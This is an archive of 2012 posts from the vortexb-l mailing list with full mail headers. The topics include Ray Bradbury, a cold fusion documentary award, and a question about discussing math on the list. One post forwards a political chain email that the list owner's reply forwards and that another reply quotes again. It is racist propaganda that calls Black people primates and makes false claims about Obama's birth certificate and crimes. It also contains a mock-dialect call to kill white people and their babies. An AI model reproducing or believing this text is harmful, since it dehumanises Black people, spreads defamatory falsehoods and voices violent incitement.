beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Wed Jun 6 16:24:09 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q56NO8VZ014121; Wed, 6 Jun 2012 16:24:08 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q56NNvl8013989; Wed, 6 Jun 2012 16:23:57 -0700 Resent-Date: Wed, 6 Jun 2012 16:23:57 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=QyBBi7prEnHutl+Cp023qK8Uf/y1cpXZmadhP2X65/U=; b=OSq1psTQhvluwKYjZBQM7xlAOMmn20tsYf8ztUx0yXXGa8JI8UhU4YPF49Sn3qKBUY JRyJbZS8fn10l/5Gxf0bXWKkGP1gxYfzTrNnlYcLgWfWV06GnR2gf1PBr8isJMu1LjMu J3KxP+lkhD/6hBhRKTHp4aXe9BkEhsdd89Ukt16YU6sx9ED9OSd9MasUYCyPn8BDBRv5 kFvs6edvUc1JS5bge94enNwuR4dbJsf60OqMDmyffGCpNLbSnUJoYSae9UElg2VYoDHt BP+Z3wz1K2CRmAUAsmteb3awgggZEWIjXM+UP6ZeZ0l7t6WLATbNT2sKywWIc5MlLbMq GHNQ== MIME-Version: 1.0 In-Reply-To: <00b101cd4433$c8332bb0$58998310$@net> References: <00b101cd4433$c8332bb0$58998310$@net> Date: Wed, 6 Jun 2012 19:19:17 -0400 Message-ID: From: Terry Blanton To: vortex-l@eskimo.com Cc: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4567 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Ray Bradbury died Status: RO X-Status: X-Keywords: X-UID: 808 On Wed, Jun 6, 2012 at 6:29 PM, Jones Beene wrote: > -----Original Message----- > From: Terry Blanton > > There's an anecdote that Bradbury once bet L. Ron Hubbard that he > could not create a religion that would be recognized by the IRS. =A0If > true, I'm sure that Ray is paying Ron off somewhere in that great > somewhere. > > "Stranger in a Strange Land" was one of my =A0favs which makes me > believe this story. > > > > Are you groking Heinlein, or what ? Grok is on vortex-b, still. :-) T From vortexb-l-request@eskimo.com Thu Jun 7 18:55:36 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q581tY9v020392; Thu, 7 Jun 2012 18:55:34 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q581tMCt020373; Thu, 7 Jun 2012 18:55:22 -0700 Resent-Date: Thu, 7 Jun 2012 18:55:22 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 7 Jun 2012 18:50:15 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Ray Bradbury died Message-ID: <20120608015015.GA14030@shell.resist.ca> Reply-To: grok@resist.ca References: <00b101cd4433$c8332bb0$58998310$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: perpetrators, la Guajira, Mobile Tactical High-Energy Laser, Potential Counter Tactics, Techniques and Procedures, DAI User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4568 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 809 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > On Wed, Jun 6, 2012 at 6:29 PM, Jones Beene wrote: > > -----Original Message----- > > From: Terry Blanton > > > > There's an anecdote that Bradbury once bet L. Ron Hubbard that he > > could not create a religion that would be recognized by the IRS.  If > > true, I'm sure that Ray is paying Ron off somewhere in that great > > somewhere. > > > > "Stranger in a Strange Land" was one of my  favs which makes me > > believe this story. > > > > > > > > Are you groking Heinlein, or what ? > > Grok is on vortex-b, still. :-) > > T That I am. In spite of you people. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Sun Oct 21 07:58:06 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q9LEw4Ch027070; Sun, 21 Oct 2012 07:58:04 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q9LEvwxU026939; Sun, 21 Oct 2012 07:57:58 -0700 Resent-Date: Sun, 21 Oct 2012 07:57:57 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=SdCPV8ub7iRa4dpCXZFwcM6KhYUcJXB6S4e/GQJ/4ac=; b=woXQ4+tEpv0kP+epMXuKvxiBAeZ34JYAlMzmJf4QXMJ7or8Kb36B2Iqk/5HjNNFZ40 SKJOzcMDnZbJdZrWSorQm4gXn6cILRHnFXMgaHk4cHlIOEGwILT1dzpSs7t8KzeXp91O rP4B8GD7x6CrenJFivsKPrTTzs2TwW5/DhSqug5toDiXzEe9K1LWL5t4Fl0UmmsaxMjc YXsOxcfJheD9FMYrCEcElVYlphxHLMSTcsC8EKY6tpZwfFtjQOEoyK7JmY5CtqAZsitv uy3rTcIc0EIkxF0cboxxkchHOiBhRxPcQ8PaRr56m2DgwGd0ljGjryuVzX8TKfh4st5t 7Afw== MIME-Version: 1.0 Date: Sun, 21 Oct 2012 17:57:58 +0300 Message-ID: From: Esa Ruoho To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=bcaec54b4a3868f29c04cc92f6c6 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4569 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:"The Believers", Cold Fusion Documentary wins The Gold Hugo Award for Best Documentary at the Chicago Film Festival. Status: RO X-Status: X-Keywords: X-UID: 810 --bcaec54b4a3868f29c04cc92f6c6 Content-Type: text/plain; charset=ISO-8859-1 from the site moviecitynews: "The *Gold Hugo *goes to *THE BELIEVERS* (USA). This tightly constructed cinematic argument with strong characters puts a human face on scientific research and discovery acknowledging our universal understanding of human failings in our desire to achieve success. In *THE BELIEVERS,* the filmmakers remind us just how inexact science really is sometimes. Directors: Clayton Brown and Monica Long Ross." http://moviecitynews.com/2012/10/the-48th-chicago-international-film-festival-announces-the-winners-of-its-competitions/ http://coldfusionnow.org/screen-daily-reviews-the-believers/ http://www.screendaily.com/reviews/the-latest/the-believers/5047850.article?blocktitle=Latest-Reviews&contentID=1479 Seems the 137 Films people are still looking for supporters and some volunteers for various jobs: http://www.137films.org/support-us.html --bcaec54b4a3868f29c04cc92f6c6 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
from the site moviecitynews:
"The=A0Gold Hugo=A0goes to=A0THE= BELIEVERS=A0(USA)= . This tightly constructed cinematic argument with strong characters puts a= human face on scientific research and discovery acknowledging our universa= l understanding of human failings in our desire to achieve success. In=A0THE BELIEVERS,=A0the filmmakers remind= us just how inexact science really is sometimes. Directors: Clayton Brown = and Monica Long Ross."

http://www= .screendaily.com/reviews/the-latest/the-believers/5047850.article?blocktitl= e=3DLatest-Reviews&contentID=3D1479

Seems the 137 Films people are still looking for suppor= ters and some volunteers for various jobs:=A0

--bcaec54b4a3868f29c04cc92f6c6-- From vortexb-l-request@eskimo.com Tue Nov 6 12:03:12 2012 Received: from ultra7.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra7.eskimo.com (8.14.0/8.14.3) with ESMTP id qA6K36NY022311; Tue, 6 Nov 2012 12:03:06 -0800 Received: (from smartlst@localhost) by ultra7.eskimo.com (8.14.0/8.12.10/Submit) id qA6K2k2x022263; Tue, 6 Nov 2012 12:02:46 -0800 Resent-Date: Tue, 6 Nov 2012 12:02:45 -0800 X-Authentication-Warning: ultra7.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Tue, 6 Nov 2012 12:02:45 -0800 (PST) From: William Beaty To: vortexb-L@eskimo.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4570 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: Whence Willard? (fwd) Status: O X-Status: X-Keywords: X-UID: 811 This is VortexB-L To continue discussion, just reply to this message below. -billb On Mon, 5 Nov 2012 11:09:30 -0800 LORENHEYER@aol.com wrote: This message is of the utmost importance; This is an attempt to "Get Thru" to those who have supported or currently are in favor of the The Democratic Party ; About 4 decades ago, the Democrat Party had begun to lose sight and/or develope a disregard for morals, ethics, honesty, integrity, and common sense. As pandering for votes became more important than all else, certain groups of so-called people knew they could count on having their voice heard, and is now considered as vital. What we essentially have now is a group of People (?) that simply do not care about those vitally important founding principles & values that made this Country Strong & Truly Free. What has instead occurred as a result of catering to the illintentioned & unprincipled mobs, is a total disregard for those things that are vitally important for the well being of all. Those who seek to control this Country's wealth & power, will do so at the expense of descending it a complete deterioration & total collapse and/or destruction The only way this Country will remain "Truly Free" will be as a result of the majority of it's People standing together to uphold, honor, & respresent those values which enable it to exist. This land of Liberty & Justice for all can easily be taken advantage, especially there is a coordinated effort to seize it, in overwhelming numbers. The Due Democratic Process is now stolen, and being taken down a "very" dead end road. The current so-called President fraudulently residing in the (pimped out) White House that goes by the name of Bull-crock Ohbombya is not concerned of having to release information concerning his extremely shady underhanded past. To me, the current acceptable term "progressive" that has been adopted or accepted and supposed to more accurately describe and/or replace the "Democrat Party" is a completely wrong and/or an exact opposite of what has actually occurred. If you take a hard look at how this country which has been literally hi-jacked by what so many actually consider as a President.... you've not only been bamboozled but completely made a fool of. In considering the rather shady underhanded unethical criminal past (?) of the current illegal fraud of a imposter Wanabe Dictator now disserving, dishonoring, dismantling, and/or destroying the Presidency, not to mention all the wrongly mislcolored people BO had befriended and encouraged to join in his nobel effort to overthrow the whities and/or their Country (my oh my, how they do grow up so fast),, I have relabeled the Demo Party as The DumbCrackHead Party. In order to fit in with the community of Blacks that BO took-up residency in long ago in a Chicago Neighborhood, prior to his obtaining of a Forged Birth Certificate which enabled him to become an official illegal citizen of America, he had dealt in cocaine trafficin, various stolen property, & money laundering, which enabled him to actually achieved a certain respectable status among his proud community. After rightfully achieving the title as a respected criminal, he began to implement his training as a terrorist-loving white hating muzzlehead, starting at the very early age of 1 up until 11 yrs old. From almost day-one BO was greatly influenced and/or nutured by many a White-Hating Muzzelheaded African Primate-like looking person, which is undoubtedly due to what they had done to the people in Kenya Africa, and/or in the surrounding areas. And so, upon gaining access into this country (as illegal as it was) he had naturally arrived in a neighbor-hoody of Chicago to become an instrumental integral part of the most underhanded political machine to ever be conceived by primate-looking human beings. Prior to taking up residence there, BO had already used several Alias's (and no one even knows his actual true name), but once here, he had stolen/used several SS#'s from deceased people (that is like totally illegal dude, in certain states). Now then, what exactly does this say about the Great Disappointed Self Annointed One currently misoccupying OUR illfated Whitey House?.... To me, this Country and everything it stands for, Is In serious Question!!!... While BO has plenty of company, because this on-going identity crisis of becoming a human, is going-on thruout all of 57 states. The concrete jungle provides an ideal secure place for many primates looking to take all they can get their grubby paws on, and will they'll continue to congregate in large numbers. Yes, as "We'" speak, these human-mimicing primates are hard at work at being the frauds they are rightfully entitled to and/or instinctively good at. They are at work gaining control of various banches of the Gov, and are coordinating or operating thruout society wherever people like regular poeple that go about their lives??? BO's very own personal regime however, which is comprised mostly of Corrupt Scum are currently at work obtaining as many positions of power as possible, and/or where big money is involved. Hopefully, they'll be able to continue-on to defraud Taxpayers out of Billion of Dollars, because they are totally committed to the revising the ways & means and rules & reg's, so they can become ever more progressive, and/or until White People fail altogether, so Blacks can succeed (at failing) SO, all you racist bigoted white people out there who *know* it's plain flat-out wrong to point the finger at the less-fortunate or impoverished, which Do Not Deserve being singled-out or disliked, because of their skin color...... Hear Ye, Hear Ye, Hear Ye This!!!.... "Aw my bruhthurz & sistahz WEY EVUH yu iz!!.... Yu gaht'a keeeeel some crackahs!.... Yu gaht'a keeeeel dey baybees,,, beekuhz, deyz juh tu meynee uv dem whyteez, an'a weez'a an'a gonn'a NEVUH bee free if'n deyz eez ahloud too eggzist. Now, if that isn't confusing enough..... prior to the 2008 run for the Presidency, it was declared by the Att. Gen. that BO shuudint eehven halv ben on duh baleout, butt iht woodint uh matturd eneewey cuz BO wuhz vay popalure amung hiz clan memburzs. And so now, while this Country has it's First Black President... go figure (but whuteh yuu duu, donh led'em heeh dat) Now, all you White, Caucasion, Anglo Saxon, and/or, for that matter, anyone either resembling or behaving like one... you (according to poorly mistreated BO, who has long since been burdened by his race) will have to be slowly but surely, or as needed be shoved aside and/or altogether done away with. Now please don't worry about it, as I am quite sure that you'll be rounded-up as and/or be eliminated as (in) humanely as possible. Let me put it this way.... All demo-racist-rats who have unwittingly participated in the biggest "scheme" of all time by allowing yourself to be played, worked, brainwashed, or indoctrinated, to the point that you actually commend, or even Praise the likes of BO... He Is "NOT" A Democrat, and has "NO" intention At All of seeing Democracy work for anyone other than HIM and his immediate clan members. If he is allowed to continue, he'll see to it that all you whities who own or use guns to protect yourselves from those that have a 'right' to invade, eliminate, and/or wish to take whatever you own,,, especially all the religious people who read, follow, and/or worship according to the bible, and/or don't think much of BO..... your God's wrath is unfair to Primates, and their desire to live life in the wild. And so, BO will be forced to instill rage into his private army of primates and instruct them to grab their clubs & machetes, to take to the streets and attack you, wherever you are. You & your evil demockeracy ways, and your establishment that allows for liberty & justice for all, will fall. And now, some final words from BO..... " I want to thank you from the bottom of your pockets & bank accounts, to everything you might currently own, or will in the future (if you had one), for all your continued support. I assure you you will not be forgotten, should I be successful at fooling all of you, as I have done so well in the past. If I am Re-empowered to become your Ruling Dictator, I promise to continue in my effort to Control Everyone & Everything,,, which is all the better for you!. Oh, and one more thing!... I want to thank you for your generous donations in the on-going effort to free primates from Zoos, so, they have an opportunity to treat you the way you've treated them,,, er, uh,,,, I mean, so we can all be equal! Thank you! From vortexb-l-request@eskimo.com Tue Nov 6 12:44:16 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qA6KiF3I014762; Tue, 6 Nov 2012 12:44:15 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qA6KiAlB014745; Tue, 6 Nov 2012 12:44:10 -0800 Resent-Date: Tue, 6 Nov 2012 12:44:10 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=PPJoNNzZMOW1BXOomlIjR+sMaGBylBPizhrqYSui5rg=; b=hG70DsfSjDxDS00pgVdCM2bSxLcuhoj+TcW1sfWgaEhi3XfI0qDlhF92Q95Pcj+9Cu iCxFWEDasfsFb3zznPMYbzGa4GLPCVDG/ECN46BJShSgvAGrlm10EJ7qUTR/TDLGTZHJ uVEMOLPWa5GH6v7EsSUpQjgD+inxBihPz9zP5eYhY4IWi49DNpyIF7nCw6zGvAjtEhSc 3ng64MnWS4GXOx1OHRZxAHYrFzTJuRQ3OnVP7jUJXaZPqzMG//wqHWNBNvmGsT/ztoFd rHyYCUsfzXyteCJIugQ8w+9/1gSug8SnazdcC9bXb17VbMGbfuK0DBHK65y9JRzvYUt6 iW1Q== MIME-Version: 1.0 Date: Tue, 6 Nov 2012 21:44:10 +0100 Message-ID: From: David Jonsson To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=047d7b5d654800f3c004cdd9aae7 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4571 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Math Status: O X-Status: X-Keywords: X-UID: 812 --047d7b5d654800f3c004cdd9aae7 Content-Type: text/plain; charset=ISO-8859-1 Could vortexb-l be used for math? David --047d7b5d654800f3c004cdd9aae7 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Could vortexb-l be used for math?

David=A0

--047d7b5d654800f3c004cdd9aae7-- From vortexb-l-request@eskimo.com Tue Nov 6 12:49:43 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qA6KnfZG010511; Tue, 6 Nov 2012 12:49:41 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qA6KnfuZ010506; Tue, 6 Nov 2012 12:49:41 -0800 Resent-Date: Tue, 6 Nov 2012 12:49:41 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=ywPxHqnWkK9MvGsX+yfxcsZgFj7f5TKJUocK4IBa6SE=; b=Fh4VA8S3I34/v6bAAK43FHjF3ZZ/oeX/b8/k/IhP+pZVynYaf+9px1xAtSVzuqU9k+ o/sZFOrrj35X3Y/CYBdE8f+Trf/Gk64C/TQ+DEgWhg4BbUQtRH7Fd3KN6XK2im3YmLLE rGuONGqNAj7EVTkAKY/yYGR/T1J+Dd/fmWthAdiYHkAoXFXg4Z3R5xbPod/X2h0AWcfW K0pAjgC8kp9YM9UYvmKts4p00E/wZd1wiNLMqrE/sWzzcf3lXh9e9Jlb1WZKhkwyk40M DvwqOBaI5WEBIhHx9ZF7NoiQOl+lFs0x3dnGsWtGQBzIp0O3lpqNhUpCWs3oup4GKaXm kyWg== MIME-Version: 1.0 In-Reply-To: References: Date: Tue, 6 Nov 2012 15:49:41 -0500 Message-ID: Subject: Re: [VoB]:Math From: Jed Rothwell To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=f46d04446911be4a6d04cdd9bdda Resent-Message-ID: <5KVdvD.A.AkC.lfXmQB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4572 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 813 --f46d04446911be4a6d04cdd9bdda Content-Type: text/plain; charset=ISO-8859-1 David Jonsson wrote: Could vortexb-l be used for math? Don't think so. It is the same server. It has the same limitations. - Jed --f46d04446911be4a6d04cdd9bdda Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable David Jonsson <davidjonssonsweden@gmail.com> wrot= e:

Could vortexb-l be used for math?

Don't= think so. It is the same server. It has the same limitations.
- Jed

--f46d04446911be4a6d04cdd9bdda-- From vortexb-l-request@eskimo.com Tue Nov 6 13:00:54 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qA6L0rqb018642; Tue, 6 Nov 2012 13:00:53 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qA6L0qPe018635; Tue, 6 Nov 2012 13:00:52 -0800 Resent-Date: Tue, 6 Nov 2012 13:00:52 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=6VpkgOCSLeAanUS3pxsktxCinqz2XlL9tA8ITIwRtMc=; b=Rw/s38HcWW2s3BiZEjw/qWOmujpq0qrjMqAT8ZiMZ6q4pNGmKYJ/1nGcej2yTKsMaP DHLFAW/wac2PxM3vrOYrKKxBY2mAh7kKpKZi2QPJBFkWAx/6V058vCs7M97UUM0zJa1T FJskiIi+s7NhxMglI3c7pxQ7UB7zQsODApgRq5dsWgJC/BbAXVvu6BSpxO5kvuYQTCPc aJf1TakSE0/8FiOneOZgRQaT9+DCwFBYjf/1RMPkCW9J8L8qqQAWXeGbnPrkurTK+YKp bSLZNMFiM7TiR4lpWsn/jl25xhoT/3ZJiOeB3LPw8ybjhOfi+Rg7HbsboAcWq9869KMr 5Tyg== MIME-Version: 1.0 In-Reply-To: References: Date: Tue, 6 Nov 2012 22:00:52 +0100 Message-ID: Subject: Re: [VoB]:Math From: David Jonsson To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=bcaec5040912b2dc4104cdd9e59f Resent-Message-ID: <11rySC.A.GjE.EqXmQB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4573 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 814 --bcaec5040912b2dc4104cdd9e59f Content-Type: text/plain; charset=ISO-8859-1 :-) I don't see this as a server issue. I was having some questions regarding fast pi calculations. David Jonsson, Sweden, +46703000370 On Tue, Nov 6, 2012 at 9:49 PM, Jed Rothwell wrote: > David Jonsson wrote: > > Could vortexb-l be used for math? > > > Don't think so. It is the same server. It has the same limitations. > > - Jed > > --bcaec5040912b2dc4104cdd9e59f Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable :-)

I don't see this as a server issue.
I was having some questions regarding fast pi calculations.

David Jonsson, Sweden, +467= 03000370



On Tue, Nov 6, 2012 at 9:49 PM, Jed Roth= well <jedrothwell@gmail.com> wrote:
David Jonsson <davidjonssonsweden@gmail.com> wrot= e:

Could vortexb-l be used for math?

Don= 't think so. It is the same server. It has the same limitations.
<= span class=3D"HOEnZb">

- Jed


--bcaec5040912b2dc4104cdd9e59f-- From vortexb-l-request@eskimo.com Tue Nov 6 15:36:35 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qA6NaYkm015343; Tue, 6 Nov 2012 15:36:34 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qA6NaXCf015334; Tue, 6 Nov 2012 15:36:33 -0800 Resent-Date: Tue, 6 Nov 2012 15:36:33 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50999EF9.4070604@resist.ca> Date: Tue, 06 Nov 2012 18:36:25 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: Whence Willard? (fwd) References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <4y2jD.A.dvD.B8ZmQB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4574 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 815 You're inflicting this on us because we've been BAD, right..? ;D -- grok. On 12/11/06 15:02, William Beaty wrote: > This is VortexB-L > > To continue discussion, just reply to this message below. > > -billb > > > > On Mon, 5 Nov 2012 11:09:30 -0800 LORENHEYER@aol.com wrote: > > This message is of the utmost importance; This is an attempt to "Get Thru" > to those who have supported or currently are in favor of the The Democratic > Party ; > About 4 decades ago, the Democrat > Party had begun to lose sight and/or develope a disregard for morals, > ethics, honesty, integrity, and common sense. As pandering for votes > became more important than all else, certain groups of so-called people > knew they could count on having their voice heard, and is now considered > as vital. > > What we essentially have now is a group of People (?) > that simply do not care about those vitally important founding principles & > values that made this Country Strong & Truly Free. What has instead occurred > as a result of catering to the illintentioned & unprincipled mobs, is a > total disregard for those things that are vitally important for the well being > of all. Those who seek to control this Country's wealth & power, will do so > at the expense of descending it a complete deterioration & total collapse > and/or destruction > > The only way this Country will remain > "Truly Free" will be as a result of the majority of it's People standing > together to uphold, honor, & respresent those values which enable it to exist. > This land of Liberty & Justice for all can easily be taken advantage, > especially there is a coordinated effort to seize it, in overwhelming numbers. > > The Due Democratic Process is now stolen, and being taken down a > "very" dead end road. The current so-called President fraudulently residing in > the (pimped out) White House that goes by the name of Bull-crock Ohbombya is > not concerned of having to release information concerning his extremely > shady underhanded past. > To me, the current acceptable > term "progressive" that has been adopted or accepted and supposed to more > accurately describe and/or replace the "Democrat Party" is a completely wrong > and/or an exact opposite of what has actually occurred. If you take a hard > look at how this country which has been literally hi-jacked by what so many > actually consider as a President.... you've not only been bamboozled but > completely made a fool of. > > In considering the rather > shady underhanded unethical criminal past (?) of the current illegal fraud of a > imposter Wanabe Dictator now disserving, dishonoring, dismantling, and/or > destroying the Presidency, not to mention all the wrongly mislcolored people > BO had befriended and encouraged to join in his nobel effort to overthrow > the whities and/or their Country (my oh my, how they do grow up so fast),, I > have relabeled the Demo Party as The DumbCrackHead Party. > > In order to fit in with the community of > Blacks that BO took-up residency in long ago in a Chicago Neighborhood, prior > to his obtaining of a Forged Birth Certificate which enabled him to become an > official illegal citizen of America, he had dealt in cocaine trafficin, > various stolen property, & money laundering, which enabled him to actually > achieved a certain respectable status among his proud community. > > After rightfully achieving the title as a respected criminal, he > began to implement his training as a terrorist-loving white hating muzzlehead, > starting at the very early age of 1 up until 11 yrs old. From almost day-one > BO was greatly influenced and/or nutured by many a White-Hating > Muzzelheaded African Primate-like looking person, which is undoubtedly due to what they > had done to the people in Kenya Africa, and/or in the surrounding areas. > > > And so, upon gaining access into this country (as > illegal as it was) he had naturally arrived in a neighbor-hoody of Chicago to > become an instrumental integral part of the most underhanded political machine > to ever be conceived by primate-looking human beings. Prior to taking up > residence there, BO had already used several Alias's (and no one even knows his > actual true name), but once here, he had stolen/used several SS#'s from > deceased people (that is like totally illegal dude, in certain states). > > Now then, what exactly does this say about the Great Disappointed > Self Annointed One currently misoccupying OUR illfated Whitey House?.... To > me, this Country and everything it stands for, Is In serious > Question!!!... While BO has plenty of company, because this on-going identity crisis of > becoming a human, is going-on thruout all of 57 states. > > The > concrete jungle provides an ideal secure place for many primates looking to > take all they can get their grubby paws on, and will they'll continue to > congregate in large numbers. Yes, as "We'" speak, these human-mimicing primates > are hard at work at being the frauds they are rightfully entitled to and/or > instinctively good at. They are at work gaining control of various banches > of the Gov, and are coordinating or operating thruout society wherever > people like regular poeple that go about their lives??? > BO's > very own personal regime however, which is comprised mostly of Corrupt Scum > are currently at work obtaining as many positions of power as possible, > and/or where big money is involved. Hopefully, they'll be able to continue-on to > defraud Taxpayers out of Billion of Dollars, because they are totally > committed to the revising the ways & means and rules & reg's, so they can become > ever more progressive, and/or until White People fail altogether, so Blacks > can succeed (at failing) > SO, all > you racist bigoted white people out there who *know* it's plain flat-out > wrong to point the finger at the less-fortunate or impoverished, which Do Not > Deserve being singled-out or disliked, because of their skin color...... > Hear Ye, Hear Ye, Hear Ye This!!!.... "Aw my bruhthurz & sistahz WEY EVUH yu > iz!!.... Yu gaht'a keeeeel some crackahs!.... Yu gaht'a keeeeel dey > baybees,,, beekuhz, deyz juh 